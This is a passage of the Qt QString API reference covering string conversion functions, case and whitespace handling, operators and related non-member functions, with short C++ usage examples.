
 **See also** [endsWith](qstring#endsWith)().

 ### 
bool QString::startsWith([QLatin1String](qlatin1string) *s*, [Qt::CaseSensitivity](qt#CaseSensitivity-enum) *cs* = Qt::CaseSensitive) const

 This function overloads startsWith().

 ### 
bool QString::startsWith([QChar](qchar) *c*, [Qt::CaseSensitivity](qt#CaseSensitivity-enum) *cs* = Qt::CaseSensitive) const

 This function overloads startsWith().

 Returns `true` if the string starts with *c*; otherwise returns `false`.

 ### 
void QString::swap([QString](qstring#QString) &*other*)

 Swaps string *other* with this string. This operation is very fast and never fails.

 ### 
`[since 5.2]` CFStringRef QString::toCFString() const

 Creates a CFString from a [QString](qstring).

 The caller owns the CFString and is responsible for releasing it.

  **Note:** this function is only available on macOS and iOS.

  This function was introduced in Qt 5.2.

 ### 
[QString](qstring#QString) QString::toCaseFolded() const

 Returns the case folded equivalent of the string. For most Unicode characters this is the same as [toLower](qstring#toLower)().

 ### 
double QString::toDouble(bool \**ok* = nullptr) const

 Returns the string converted to a `double` value.

 Returns an infinity if the conversion overflows or 0.0 if the conversion fails for other reasons (e.g. underflow).

 If *ok* is not `nullptr`, failure is reported by setting \**ok* to `false`, and success by setting \**ok* to `true`.

 
```
QString str = "1234.56";
double val = str.toDouble();   // val == 1234.56
```
  **Warning:** The [QString](qstring) content may only contain valid numerical characters which includes the plus/minus sign, the character e used in scientific notation, and the decimal point. Including the unit or additional characters leads to a conversion error.

  
```
bool ok;
double d;

d = QString( "1234.56e-02" ).toDouble(&ok); // ok == true, d == 12.3456

d = QString( "1234.56e-02 Volt" ).toDouble(&ok); // ok == false, d == 0
```
 The string conversion will always happen in the 'C' locale. For locale-dependent conversion use [QLocale::toDouble](qlocale#toDouble)()

 
```
d = QString( "1234,56" ).toDouble(&ok); // ok == false
d = QString( "1234.56" ).toDouble(&ok); // ok == true, d == 1234.56
```
 For historical reasons, this function does not handle thousands group separators. If you need to convert such numbers, use [QLocale::toDouble](qlocale#toDouble)().

 
```
d = QString( "1,234,567.89" ).toDouble(&ok); // ok == false
d = QString( "1234567.89" ).toDouble(&ok); // ok == true
```
 This function ignores leading and trailing whitespace.

 **See also** [number](qstring#number)(), [QLocale::setDefault](qlocale#setDefault)(), [QLocale::toDouble](qlocale#toDouble)(), and [trimmed](qstring#trimmed)().

 ### 
float QString::toFloat(bool \**ok* = nullptr) const

 Returns the string converted to a `float` value.

 Returns an infinity if the conversion overflows or 0.0 if the conversion fails for other reasons (e.g. underflow).

 If *ok* is not `nullptr`, failure is reported by setting \**ok* to `false`, and success by setting \**ok* to `true`.

  **Warning:** The [QString](qstring) content may only contain valid numerical characters which includes the plus/minus sign, the character e used in scientific notation, and the decimal point. Including the unit or additional characters leads to a conversion error.

  The string conversion will always happen in the 'C' locale. For locale-dependent conversion use [QLocale::toFloat](qlocale#toFloat)()

 For historical reasons, this function does not handle thousands group separators. If you need to convert such numbers, use [QLocale::toFloat](qlocale#toFloat)().

 Example:

 
```
QString str1 = "1234.56";
str1.toFloat();             // returns 1234.56

bool ok;
QString str2 = "R2D2";
str2.toFloat(&ok);          // returns 0.0, sets ok to false

QString str3 = "1234.56 Volt";
str3.toFloat(&ok);          // returns 0.0, sets ok to false
```
 This function ignores leading and trailing whitespace.

 **See also** [number](qstring#number)(), [toDouble](qstring#toDouble)(), [toInt](qstring#toInt)(), [QLocale::toFloat](qlocale#toFloat)(), and [trimmed](qstring#trimmed)().

 ### 
`[since 5.0]` [QString](qstring#QString) QString::toHtmlEscaped() const

 Converts a plain text string to an HTML string with HTML metacharacters `<`, `>`, `&`, and `"` replaced by HTML entities.

 Example:

 
```
QString plain = "#include <QtCore>"
QString html = plain.toHtmlEscaped();
// html == "#include &lt;QtCore&gt;"
```
 This function was introduced in Qt 5.0.

 ### 
int QString::toInt(bool \**ok* = nullptr, int *base* = 10) const

 Returns the string converted to an `int` using base *base*, which is 10 by default and must be between 2 and 36, or 0. Returns 0 if the conversion fails.

 If *ok* is not `nullptr`, failure is reported by setting \**ok* to `false`, and success by setting \**ok* to `true`.

 If *base* is 0, the C language convention is used: If the string begins with "0x", base 16 is used; if the string begins with "0", base 8 is used; otherwise, base 10 is used.

 The string conversion will always happen in the 'C' locale. For locale-dependent conversion use [QLocale::toInt](qlocale#toInt)()

 Example:

 
```
QString str = "FF";
bool ok;
int hex = str.toInt(&ok, 16);       // hex == 255, ok == true
int dec = str.toInt(&ok, 10);       // dec == 0, ok == false
```
 This function ignores leading and trailing whitespace.

 **See also** [number](qstring#number)(), [toUInt](qstring#toUInt)(), [toDouble](qstring#toDouble)(), and [QLocale::toInt](qlocale#toInt)().

 ### 
[QByteArray](qbytearray) QString::toLatin1() const

 Returns a Latin-1 representation of the string as a [QByteArray](qbytearray).

 The returned byte array is undefined if the string contains non-Latin1 characters. Those characters may be suppressed or replaced with a question mark.

 **See also** [fromLatin1](qstring#fromLatin1)(), [toUtf8](qstring#toUtf8)(), [toLocal8Bit](qstring#toLocal8Bit)(), and [QStringEncoder](qstringencoder).

 ### 
[QByteArray](qbytearray) QString::toLocal8Bit() const

 Returns the local 8-bit representation of the string as a [QByteArray](qbytearray). The returned byte array is undefined if the string contains characters not supported by the local 8-bit encoding.

 On Unix systems this is equivalen to [toUtf8](qstring#toUtf8)(), on Windows the systems current code page is being used.

 If this string contains any characters that cannot be encoded in the locale, the returned byte array is undefined. Those characters may be suppressed or replaced by another.

 **See also** [fromLocal8Bit](qstring#fromLocal8Bit)(), [toLatin1](qstring#toLatin1)(), [toUtf8](qstring#toUtf8)(), and [QStringEncoder](qstringencoder).

 ### 
long QString::toLong(bool \**ok* = nullptr, int *base* = 10) const

 Returns the string converted to a `long` using base *base*, which is 10 by default and must be between 2 and 36, or 0. Returns 0 if the conversion fails.

 If *ok* is not `nullptr`, failure is reported by setting \**ok* to `false`, and success by setting \**ok* to `true`.

 If *base* is 0, the C language convention is used: If the string begins with "0x", base 16 is used; if the string begins with "0", base 8 is used; otherwise, base 10 is used.

 The string conversion will always happen in the 'C' locale. For locale-dependent conversion use [QLocale::toLongLong](qlocale#toLongLong)()

 Example:

 
```
QString str = "FF";
bool ok;

long hex = str.toLong(&ok, 16);     // hex == 255, ok == true
long dec = str.toLong(&ok, 10);     // dec == 0, ok == false
```
 This function ignores leading and trailing whitespace.

 **See also** [number](qstring#number)(), [toULong](qstring#toULong)(), [toInt](qstring#toInt)(), and [QLocale::toInt](qlocale#toInt)().

 ### 
[qlonglong](qtglobal#qlonglong-typedef) QString::toLongLong(bool \**ok* = nullptr, int *base* = 10) const

 Returns the string converted to a `long long` using base *base*, which is 10 by default and must be between 2 and 36, or 0. Returns 0 if the conversion fails.

 If *ok* is not `nullptr`, failure is reported by setting \**ok* to `false`, and success by setting \**ok* to `true`.

 If *base* is 0, the C language convention is used: If the string begins with "0x", base 16 is used; if the string begins with "0", base 8 is used; otherwise, base 10 is used.

 The string conversion will always happen in the 'C' locale. For locale-dependent conversion use [QLocale::toLongLong](qlocale#toLongLong)()

 Example:

 
```
QString str = "FF";
bool ok;

qint64 hex = str.toLongLong(&ok, 16);      // hex == 255, ok == true
qint64 dec = str.toLongLong(&ok, 10);      // dec == 0, ok == false
```
 This function ignores leading and trailing whitespace.

 **See also** [number](qstring#number)(), [toULongLong](qstring#toULongLong)(), [toInt](qstring#toInt)(), and [QLocale::toLongLong](qlocale#toLongLong)().

 ### 
[QString](qstring#QString) QString::toLower() const

 Returns a lowercase copy of the string.

 
```
QString str = "The Qt PROJECT";
str = str.toLower();        // str == "the qt project"
```
 The case conversion will always happen in the 'C' locale. For locale-dependent case folding use [QLocale::toLower](qlocale#toLower)()

 **See also** [toUpper](qstring#toUpper)() and [QLocale::toLower](qlocale#toLower)().

 ### 
`[since 5.2]` NSString \*QString::toNSString() const

 Creates a NSString from a [QString](qstring).

 The NSString is autoreleased.

  **Note:** this function is only available on macOS and iOS.

  This function was introduced in Qt 5.2.

 ### 
short QString::toShort(bool \**ok* = nullptr, int *base* = 10) const

 Returns the string converted to a `short` using base *base*, which is 10 by default and must be between 2 and 36, or 0. Returns 0 if the conversion fails.

 If *ok* is not `nullptr`, failure is reported by setting \**ok* to `false`, and success by setting \**ok* to `true`.

 If *base* is 0, the C language convention is used: If the string begins with "0x", base 16 is used; if the string begins with "0", base 8 is used; otherwise, base 10 is used.

 The string conversion will always happen in the 'C' locale. For locale-dependent conversion use [QLocale::toShort](qlocale#toShort)()

 Example:

 
```
QString str = "FF";
bool ok;

short hex = str.toShort(&ok, 16);   // hex == 255, ok == true
short dec = str.toShort(&ok, 10);   // dec == 0, ok == false
```
 This function ignores leading and trailing whitespace.

 **See also** [number](qstring#number)(), [toUShort](qstring#toUShort)(), [toInt](qstring#toInt)(), and [QLocale::toShort](qlocale#toShort)().

 ### 
std::string QString::toStdString() const

 Returns a std::string object with the data contained in this [QString](qstring). The Unicode data is converted into 8-bit characters using the [toUtf8](qstring#toUtf8)() function.

 This method is mostly useful to pass a [QString](qstring) to a function that accepts a std::string object.

 **See also** [toLatin1](qstring#toLatin1)(), [toUtf8](qstring#toUtf8)(), [toLocal8Bit](qstring#toLocal8Bit)(), and [QByteArray::toStdString](qbytearray#toStdString)().

 ### 
`[since 5.5]` std::u16string QString::toStdU16String() const

 Returns a std::u16string object with the data contained in this [QString](qstring). The Unicode data is the same as returned by the [utf16](qstring#utf16)() method.

 This function was introduced in Qt 5.5.

 **See also** [utf16](qstring#utf16)(), [toStdWString](qstring#toStdWString)(), and [toStdU32String](qstring#toStdU32String)().

 ### 
`[since 5.5]` std::u32string QString::toStdU32String() const

 Returns a std::u32string object with the data contained in this [QString](qstring). The Unicode data is the same as returned by the [toUcs4](qstring#toUcs4)() method.

 This function was introduced in Qt 5.5.

 **See also** [toUcs4](qstring#toUcs4)(), [toStdWString](qstring#toStdWString)(), and [toStdU16String](qstring#toStdU16String)().

 ### 
std::wstring QString::toStdWString() const

 Returns a std::wstring object with the data contained in this [QString](qstring). The std::wstring is encoded in utf16 on platforms where wchar\_t is 2 bytes wide (e.g. windows) and in ucs4 on platforms where wchar\_t is 4 bytes wide (most Unix systems).

 This method is mostly useful to pass a [QString](qstring) to a function that accepts a std::wstring object.

 **See also** [utf16](qstring#utf16)(), [toLatin1](qstring#toLatin1)(), [toUtf8](qstring#toUtf8)(), [toLocal8Bit](qstring#toLocal8Bit)(), [toStdU16String](qstring#toStdU16String)(), and [toStdU32String](qstring#toStdU32String)().

 ### 
[uint](qtglobal#uint-typedef) QString::toUInt(bool \**ok* = nullptr, int *base* = 10) const

 Returns the string converted to an `unsigned int` using base *base*, which is 10 by default and must be between 2 and 36, or 0. Returns 0 if the conversion fails.

 If *ok* is not `nullptr`, failure is reported by setting \**ok* to `false`, and success by setting \**ok* to `true`.

 If *base* is 0, the C language convention is used: If the string begins with "0x", base 16 is used; if the string begins with "0", base 8 is used; otherwise, base 10 is used.

 The string conversion will always happen in the 'C' locale. For locale-dependent conversion use [QLocale::toUInt](qlocale#toUInt)()

 Example:

 
```
QString str = "FF";
bool ok;

uint hex = str.toUInt(&ok, 16);     // hex == 255, ok == true
uint dec = str.toUInt(&ok, 10);     // dec == 0, ok == false
```
 This function ignores leading and trailing whitespace.

 **See also** [number](qstring#number)(), [toInt](qstring#toInt)(), and [QLocale::toUInt](qlocale#toUInt)().

 ### 
[ulong](qtglobal#ulong-typedef) QString::toULong(bool \**ok* = nullptr, int *base* = 10) const

 Returns the string converted to an `unsigned long` using base *base*, which is 10 by default and must be between 2 and 36, or 0. Returns 0 if the conversion fails.

 If *ok* is not `nullptr`, failure is reported by setting \**ok* to `false`, and success by setting \**ok* to `true`.

 If *base* is 0, the C language convention is used: If the string begins with "0x", base 16 is used; if the string begins with "0", base 8 is used; otherwise, base 10 is used.

 The string conversion will always happen in the 'C' locale. For locale-dependent conversion use [QLocale::toULongLong](qlocale#toULongLong)()

 Example:

 
```
QString str = "FF";
bool ok;

ulong hex = str.toULong(&ok, 16);   // hex == 255, ok == true
ulong dec = str.toULong(&ok, 10);   // dec == 0, ok == false
```
 This function ignores leading and trailing whitespace.

 **See also** [number](qstring#number)() and [QLocale::toUInt](qlocale#toUInt)().

 ### 
[qulonglong](qtglobal#qulonglong-typedef) QString::toULongLong(bool \**ok* = nullptr, int *base* = 10) const

 Returns the string converted to an `unsigned long long` using base *base*, which is 10 by default and must be between 2 and 36, or 0. Returns 0 if the conversion fails.

 If *ok* is not `nullptr`, failure is reported by setting \**ok* to `false`, and success by setting \**ok* to `true`.

 If *base* is 0, the C language convention is used: If the string begins with "0x", base 16 is used; if the string begins with "0", base 8 is used; otherwise, base 10 is used.

 The string conversion will always happen in the 'C' locale. For locale-dependent conversion use [QLocale::toULongLong](qlocale#toULongLong)()

 Example:

 
```
QString str = "FF";
bool ok;

quint64 hex = str.toULongLong(&ok, 16);    // hex == 255, ok == true
quint64 dec = str.toULongLong(&ok, 10);    // dec == 0, ok == false
```
 This function ignores leading and trailing whitespace.

 **See also** [number](qstring#number)(), [toLongLong](qstring#toLongLong)(), and [QLocale::toULongLong](qlocale#toULongLong)().

 ### 
[ushort](qtglobal#ushort-typedef) QString::toUShort(bool \**ok* = nullptr, int *base* = 10) const

 Returns the string converted to an `unsigned short` using base *base*, which is 10 by default and must be between 2 and 36, or 0. Returns 0 if the conversion fails.

 If *ok* is not `nullptr`, failure is reported by setting \**ok* to `false`, and success by setting \**ok* to `true`.

 If *base* is 0, the C language convention is used: If the string begins with "0x", base 16 is used; if the string begins with "0", base 8 is used; otherwise, base 10 is used.

 The string conversion will always happen in the 'C' locale. For locale-dependent conversion use [QLocale::toUShort](qlocale#toUShort)()

 Example:

 
```
QString str = "FF";
bool ok;

ushort hex = str.toUShort(&ok, 16);     // hex == 255, ok == true
ushort dec = str.toUShort(&ok, 10);     // dec == 0, ok == false
```
 This function ignores leading and trailing whitespace.

 **See also** [number](qstring#number)(), [toShort](qstring#toShort)(), and [QLocale::toUShort](qlocale#toUShort)().

 ### 
[QList](qlist)<[uint](qtglobal#uint-typedef)> QString::toUcs4() const

 Returns a UCS-4/UTF-32 representation of the string as a [QList](qlist)<uint>.

 UCS-4 is a Unicode codec and therefore it is lossless. All characters from this string will be encoded in UCS-4. Any invalid sequence of code units in this string is replaced by the Unicode's replacement character ([QChar::ReplacementCharacter](qchar#SpecialCharacter-enum), which corresponds to `U+FFFD`).

 The returned list is not \0'-terminated.

 **See also** [fromUtf8](qstring#fromUtf8)(), [toUtf8](qstring#toUtf8)(), [toLatin1](qstring#toLatin1)(), [toLocal8Bit](qstring#toLocal8Bit)(), [QStringEncoder](qstringencoder), [fromUcs4](qstring#fromUcs4)(), and [toWCharArray](qstring#toWCharArray)().

 ### 
[QString](qstring#QString) QString::toUpper() const

 Returns an uppercase copy of the string.

 
```
QString str = "TeXt";
str = str.toUpper();        // str == "TEXT"
```
 The case conversion will always happen in the 'C' locale. For locale-dependent case folding use [QLocale::toUpper](qlocale#toUpper)()

 **See also** [toLower](qstring#toLower)() and [QLocale::toLower](qlocale#toLower)().

 ### 
[QByteArray](qbytearray) QString::toUtf8() const

 Returns a UTF-8 representation of the string as a [QByteArray](qbytearray).

 UTF-8 is a Unicode codec and can represent all characters in a Unicode string like [QString](qstring).

 **See also** [fromUtf8](qstring#fromUtf8)(), [toLatin1](qstring#toLatin1)(), [toLocal8Bit](qstring#toLocal8Bit)(), and [QStringEncoder](qstringencoder).

 ### 
qsizetype QString::toWCharArray(wchar\_t \**array*) const

 Fills the *array* with the data contained in this [QString](qstring) object. The array is encoded in UTF-16 on platforms where wchar\_t is 2 bytes wide (e.g. windows) and in UCS-4 on platforms where wchar\_t is 4 bytes wide (most Unix systems).

 *array* has to be allocated by the caller and contain enough space to hold the complete string (allocating the array with the same length as the string is always sufficient).

 This function returns the actual length of the string in *array*.

  **Note:** This function does not append a null character to the array.

  **See also** [utf16](qstring#utf16)(), [toUcs4](qstring#toUcs4)(), [toLatin1](qstring#toLatin1)(), [toUtf8](qstring#toUtf8)(), [toLocal8Bit](qstring#toLocal8Bit)(), [toStdWString](qstring#toStdWString)(), and [QStringView::toWCharArray](qstringview#toWCharArray)().

 ### 
[QString](qstring#QString) QString::trimmed() const

 Returns a string that has whitespace removed from the start and the end.

 Whitespace means any character for which [QChar::isSpace](qchar#isSpace)() returns `true`. This includes the ASCII characters '\t', '\n', '\v', '\f', '\r', and ' '.

 Example:

 
```
QString str = "  lots\t of\nwhitespace\r\n ";
str = str.trimmed();
// str == "lots\t of\nwhitespace"
```
 Unlike [simplified](qstring#simplified)(), trimmed() leaves internal whitespace alone.

 **See also** [simplified](qstring#simplified)().

 ### 
void QString::truncate(qsizetype *position*)

 Truncates the string at the given *position* index.

 If the specified *position* index is beyond the end of the string, nothing happens.

 Example:

 
```
QString str = "Vladivostok";
str.truncate(4);
// str == "Vlad"
```
 If *position* is negative, it is equivalent to passing zero.

 **See also** [chop](qstring#chop)(), [resize](qstring#resize)(), [first](qstring#first)(), and [QStringView::truncate](qstringview#truncate)().

 ### const [QChar](qchar) \*QString::unicode() const

 Returns a Unicode representation of the string. The result remains valid until the string is modified.

  **Note:** The returned string may not be '\0'-terminated. Use [size](qstring#size)() to determine the length of the array.

  **See also** [setUnicode](qstring#setUnicode)(), [utf16](qstring#utf16)(), and [fromRawData](qstring#fromRawData)().

 ### const [ushort](qtglobal#ushort-typedef) \*QString::utf16() const

 Returns the [QString](qstring) as a '\0'-terminated array of unsigned shorts. The result remains valid until the string is modified.

 The returned string is in host byte order.

 **See also** [setUtf16](qstring#setUtf16)() and [unicode](qstring#unicode)().

 ### 
`[static, since 5.5]` [QString](qstring#QString) QString::vasprintf(const char \**cformat*, va\_list *ap*)

 Equivalent method to [asprintf](qstring#asprintf)(), but takes a va\_list *ap* instead a list of variable arguments. See the [asprintf](qstring#asprintf)() documentation for an explanation of *cformat*.

 This method does not call the va\_end macro, the caller is responsible to call va\_end on *ap*.

 This function was introduced in Qt 5.5.

 **See also** [asprintf](qstring#asprintf)().

 ### 
bool QString::operator!=(const char \**other*) const

 This function overloads operator!=().

 The *other* const char pointer is converted to a [QString](qstring) using the [fromUtf8](qstring#fromUtf8)() function.

 You can disable this operator by defining [QT\_NO\_CAST\_FROM\_ASCII](qstring#QT_NO_CAST_FROM_ASCII) when you compile your applications. This can be useful if you want to ensure that all user-visible strings go through [QObject::tr](qobject#tr)(), for example.

 ### 
bool QString::operator!=(const [QByteArray](qbytearray) &*other*) const

 This function overloads operator!=().

 The *other* byte array is converted to a [QString](qstring) using the [fromUtf8](qstring#fromUtf8)() function. If any NUL characters ('\0') are embedded in the byte array, they will be included in the transformation.

 You can disable this operator by defining [QT\_NO\_CAST\_FROM\_ASCII](qstring#QT_NO_CAST_FROM_ASCII) when you compile your applications. This can be useful if you want to ensure that all user-visible strings go through [QObject::tr](qobject#tr)(), for example.

 ### 
[QString](qstring#QString) &QString::operator+=(const [QString](qstring#QString) &*other*)

 Appends the string *other* onto the end of this string and returns a reference to this string.

 Example:

 
```
QString x = "free";
QString y = "dom";
x += y;
// x == "freedom"
```
 This operation is typically very fast ([constant time](containers#constant-time)), because [QString](qstring) preallocates extra space at the end of the string data so it can grow without reallocating the entire string each time.

 **See also** [append](qstring#append)() and [prepend](qstring#prepend)().

 ### 
[QString](qstring#QString) &QString::operator+=([QChar](qchar) *ch*)

 This function overloads operator+=().

 Appends the character *ch* to the string.

 ### 
`[since 6.0]` [QString](qstring#QString) &QString::operator+=([QStringView](qstringview) *str*)

 This function overloads operator+=().

 Appends the string view *str* to this string.

 This function was introduced in Qt 6.0.

 ### 
[QString](qstring#QString) &QString::operator+=([QLatin1String](qlatin1string) *str*)

 This function overloads operator+=().

 Appends the Latin-1 string *str* to this string.

 ### 
[QString](qstring#QString) &QString::operator+=(const char \**str*)

 This function overloads operator+=().

 Appends the string *str* to this string. The const char pointer is converted to Unicode using the [fromUtf8](qstring#fromUtf8)() function.

 You can disable this function by defining [QT\_NO\_CAST\_FROM\_ASCII](qstring#QT_NO_CAST_FROM_ASCII) when you compile your applications. This can be useful if you want to ensure that all user-visible strings go through [QObject::tr](qobject#tr)(), for example.

 ### 
[QString](qstring#QString) &QString::operator+=(const [QByteArray](qbytearray) &*ba*)

 This function overloads operator+=().

 Appends the byte array *ba* to this string. The byte array is converted to Unicode using the [fromUtf8](qstring#fromUtf8)() function. If any NUL characters ('\0') are embedded in the *ba* byte array, they will be included in the transformation.

 You can disable this function by defining [QT\_NO\_CAST\_FROM\_ASCII](qstring#QT_NO_CAST_FROM_ASCII) when you compile your applications. This can be useful if you want to ensure that all user-visible strings go through [QObject::tr](qobject#tr)(), for example.

 ### 
bool QString::operator<(const char \**other*) const

 Returns `true` if this string is lexically less than string *other*. Otherwise returns `false`.

 This function overloads operator<().

 The *other* const char pointer is converted to a [QString](qstring) using the [fromUtf8](qstring#fromUtf8)() function.

 You can disable this operator by defining [QT\_NO\_CAST\_FROM\_ASCII](qstring#QT_NO_CAST_FROM_ASCII) when you compile your applications. This can be useful if you want to ensure that all user-visible strings go through [QObject::tr](qobject#tr)(), for example.

 ### 
bool QString::operator<(const [QByteArray](qbytearray) &*other*) const

 This function overloads operator<().

 The *other* byte array is converted to a [QString](qstring) using the [fromUtf8](qstring#fromUtf8)() function. If any NUL characters ('\0') are embedded in the byte array, they will be included in the transformation.

 You can disable this operator [QT\_NO\_CAST\_FROM\_ASCII](qstring#QT_NO_CAST_FROM_ASCII) when you compile your applications. This can be useful if you want to ensure that all user-visible strings go through [QObject::tr](qobject#tr)(), for example.

 ### 
bool QString::operator<=(const char \**other*) const

 This function overloads operator<=().

 The *other* const char pointer is converted to a [QString](qstring) using the [fromUtf8](qstring#fromUtf8)() function.

 You can disable this operator by defining [QT\_NO\_CAST\_FROM\_ASCII](qstring#QT_NO_CAST_FROM_ASCII) when you compile your applications. This can be useful if you want to ensure that all user-visible strings go through [QObject::tr](qobject#tr)(), for example.

 ### 
bool QString::operator<=(const [QByteArray](qbytearray) &*other*) const

 This function overloads operator<=().

 The *other* byte array is converted to a [QString](qstring) using the [fromUtf8](qstring#fromUtf8)() function. If any NUL characters ('\0') are embedded in the byte array, they will be included in the transformation.

 You can disable this operator by defining [QT\_NO\_CAST\_FROM\_ASCII](qstring#QT_NO_CAST_FROM_ASCII) when you compile your applications. This can be useful if you want to ensure that all user-visible strings go through [QObject::tr](qobject#tr)(), for example.

 ### 
[QString](qstring#QString) &QString::operator=([QChar](qchar) *ch*)

 This function overloads operator=().

 Sets the string to contain the single character *ch*.

 ### 
[QString](qstring#QString) &QString::operator=([QLatin1String](qlatin1string) *str*)

 This function overloads operator=().

 Assigns the Latin-1 string *str* to this string.

 ### 
[QString](qstring#QString) &QString::operator=(const char \**str*)

 This function overloads operator=().

 Assigns *str* to this string. The const char pointer is converted to Unicode using the [fromUtf8](qstring#fromUtf8)() function.

 You can disable this operator by defining [QT\_NO\_CAST\_FROM\_ASCII](qstring#QT_NO_CAST_FROM_ASCII) or [QT\_RESTRICTED\_CAST\_FROM\_ASCII](qstring#QT_RESTRICTED_CAST_FROM_ASCII) when you compile your applications. This can be useful if you want to ensure that all user-visible strings go through [QObject::tr](qobject#tr)(), for example.

 ### 
bool QString::operator==(const char \**other*) const

 This function overloads operator==().

 The *other* const char pointer is converted to a [QString](qstring) using the [fromUtf8](qstring#fromUtf8)() function.

 You can disable this operator by defining [QT\_NO\_CAST\_FROM\_ASCII](qstring#QT_NO_CAST_FROM_ASCII) when you compile your applications. This can be useful if you want to ensure that all user-visible strings go through [QObject::tr](qobject#tr)(), for example.

 ### 
bool QString::operator==(const [QByteArray](qbytearray) &*other*) const

 This function overloads operator==().

 The *other* byte array is converted to a [QString](qstring) using the [fromUtf8](qstring#fromUtf8)() function. This function stops conversion at the first NUL character found, or the end of the byte array.

 You can disable this operator by defining [QT\_NO\_CAST\_FROM\_ASCII](qstring#QT_NO_CAST_FROM_ASCII) when you compile your applications. This can be useful if you want to ensure that all user-visible strings go through [QObject::tr](qobject#tr)(), for example.

 Returns `true` if this string is lexically equal to the parameter string *other*. Otherwise returns `false`.

 ### 
bool QString::operator>(const char \**other*) const

 This function overloads operator>().

 The *other* const char pointer is converted to a [QString](qstring) using the [fromUtf8](qstring#fromUtf8)() function.

 You can disable this operator by defining [QT\_NO\_CAST\_FROM\_ASCII](qstring#QT_NO_CAST_FROM_ASCII) when you compile your applications. This can be useful if you want to ensure that all user-visible strings go through [QObject::tr](qobject#tr)(), for example.

 ### 
bool QString::operator>(const [QByteArray](qbytearray) &*other*) const

 This function overloads operator>().

 The *other* byte array is converted to a [QString](qstring) using the [fromUtf8](qstring#fromUtf8)() function. If any NUL characters ('\0') are embedded in the byte array, they will be included in the transformation.

 You can disable this operator by defining [QT\_NO\_CAST\_FROM\_ASCII](qstring#QT_NO_CAST_FROM_ASCII) when you compile your applications. This can be useful if you want to ensure that all user-visible strings go through [QObject::tr](qobject#tr)(), for example.

 ### 
bool QString::operator>=(const char \**other*) const

 This function overloads operator>=().

 The *other* const char pointer is converted to a [QString](qstring) using the [fromUtf8](qstring#fromUtf8)() function.

 You can disable this operator by defining [QT\_NO\_CAST\_FROM\_ASCII](qstring#QT_NO_CAST_FROM_ASCII) when you compile your applications. This can be useful if you want to ensure that all user-visible strings go through [QObject::tr](qobject#tr)(), for example.

 ### 
bool QString::operator>=(const [QByteArray](qbytearray) &*other*) const

 This function overloads operator>=().

 The *other* byte array is converted to a [QString](qstring) using the [fromUtf8](qstring#fromUtf8)() function. If any NUL characters ('\0') are embedded in the byte array, they will be included in the transformation.

 You can disable this operator by defining [QT\_NO\_CAST\_FROM\_ASCII](qstring#QT_NO_CAST_FROM_ASCII) when you compile your applications. This can be useful if you want to ensure that all user-visible strings go through [QObject::tr](qobject#tr)(), for example.

 ### 
[QChar](qchar) &QString::operator[](qsizetype *position*)

 Returns the character at the specified *position* in the string as a modifiable reference.

 Example:

 
```
QString str;

if (str[0] == QChar('?'))
    str[0] = QChar('_');
```
 **See also** [at](qstring#at)().

 ### const [QChar](qchar) QString::operator[](qsizetype *position*) const

 This function overloads operator[]().

  Related Non-Members
-------------------

 ### 
`[since 6.1]` template <typename T> qsizetype erase([QString](qstring#QString) &*s*, const T &*t*)

 Removes all elements that compare equal to *t* from the string *s*. Returns the number of elements removed, if any.

 This function was introduced in Qt 6.1.

 **See also** [erase\_if](qstring#erase_if).

 ### 
`[since 6.1]` template <typename Predicate> qsizetype erase\_if([QString](qstring#QString) &*s*, Predicate *pred*)

 Removes all elements for which the predicate *pred* returns true from the string *s*. Returns the number of elements removed, if any.

 This function was introduced in Qt 6.1.

 **See also** [erase](qstring#erase).

 ### 
bool operator!=(const [QString](qstring#QString) &*s1*, const [QString](qstring#QString) &*s2*)

 Returns `true` if string *s1* is not equal to string *s2*; otherwise returns `false`.

 **See also** [Comparing Strings](qstring#comparing-strings).

 ### 
bool operator!=(const [QString](qstring#QString) &*s1*, [QLatin1String](qlatin1string) *s2*)

 Returns `true` if string *s1* is not equal to string *s2*. Otherwise returns `false`.

 This function overloads operator!=().

 ### 
bool operator!=(const char \**s1*, const [QString](qstring#QString) &*s2*)

 Returns `true` if *s1* is not equal to *s2*; otherwise returns `false`.

 For *s1* != 0, this is equivalent to `compare(` *s1*, *s2* `) != 0`. Note that no string is equal to *s1* being 0.

 ### 
`[since 6.2]` [QString](qstring#QString) operator""\_qs(const char16\_t \**str*, size\_t *size*)

 Literal operator that creates a [QString](qstring) out of the first *size* characters in the char16\_t string literal *str*.

 The [QString](qstring) is created at compile time, and the generated string data is stored in the read-only segment of the compiled object file. Duplicate literals may share the same read-only memory. This functionality is interchangeable with [QStringLiteral](qstring#QStringLiteral), but saves typing when many string literals are present in the code.

 The following code creates a [QString](qstring):

 
```
auto str = u"hello"_qs;
```
 This function was introduced in Qt 6.2.

 **See also** [QStringLiteral](qstring#QStringLiteral) and [QtLiterals::operator""\_qba](qbytearray#operator-22-22_qba)(const char \*str, size\_t size).

 ### const [QString](qstring#QString) operator+(const [QString](qstring#QString) &*s1*, const [QString](qstring#QString) &*s2*)

 Returns a string which is the result of concatenating *s1* and *s2*.

 ### const [QString](qstring#QString) operator+(const [QString](qstring#QString) &*s1*, const char \**s2*)

 Returns a string which is the result of concatenating *s1* and *s2* (*s2* is converted to Unicode using the [QString::fromUtf8](qstring#fromUtf8)() function).

 **See also** [QString::fromUtf8](qstring#fromUtf8)().

 ### const [QString](qstring#QString) operator+(const char \**s1*, const [QString](qstring#QString) &*s2*)

 Returns a string which is the result of concatenating *s1* and *s2* (*s1* is converted to Unicode using the [QString::fromUtf8](qstring#fromUtf8)() function).

 **See also** [QString::fromUtf8](qstring#fromUtf8)().

 ### 
bool operator<(const [QString](qstring#QString) &*s1*, const [QString](qstring#QString) &*s2*)

 This function overloads operator<().

 Returns `true` if string *s1* is lexically less than string *s2*; otherwise returns `false`.

 **See also** [Comparing Strings](qstring#comparing-strings).

 ### 
bool operator<(const [QString](qstring#QString) &*s1*, [QLatin1String](qlatin1string) *s2*)

 This function overloads operator<().

 Returns `true` if *s1* is lexically less than *s2*; otherwise returns `false`.

 ### 
bool operator<([QLatin1String](qlatin1string) *s1*, const [QString](qstring#QString) &*s2*)

 This function overloads operator<().

 Returns `true` if *s1* is lexically less than *s2*; otherwise returns `false`.

 ### 
bool operator<(const char \**s1*, const [QString](qstring#QString) &*s2*)

 Returns `true` if *s1* is lexically less than *s2*; otherwise returns `false`. For *s1* != 0, this is equivalent to `compare(s1, s2) < 0`.

 **See also** [Comparing Strings](qstring#comparing-strings).

 ### 
[QDataStream](qdatastream) &operator<<([QDataStream](qdatastream) &*stream*, const [QString](qstring#QString) &*string*)

 Writes the given *string* to the specified *stream*.

 **See also** [Serializing Qt Data Types](datastreamformat).

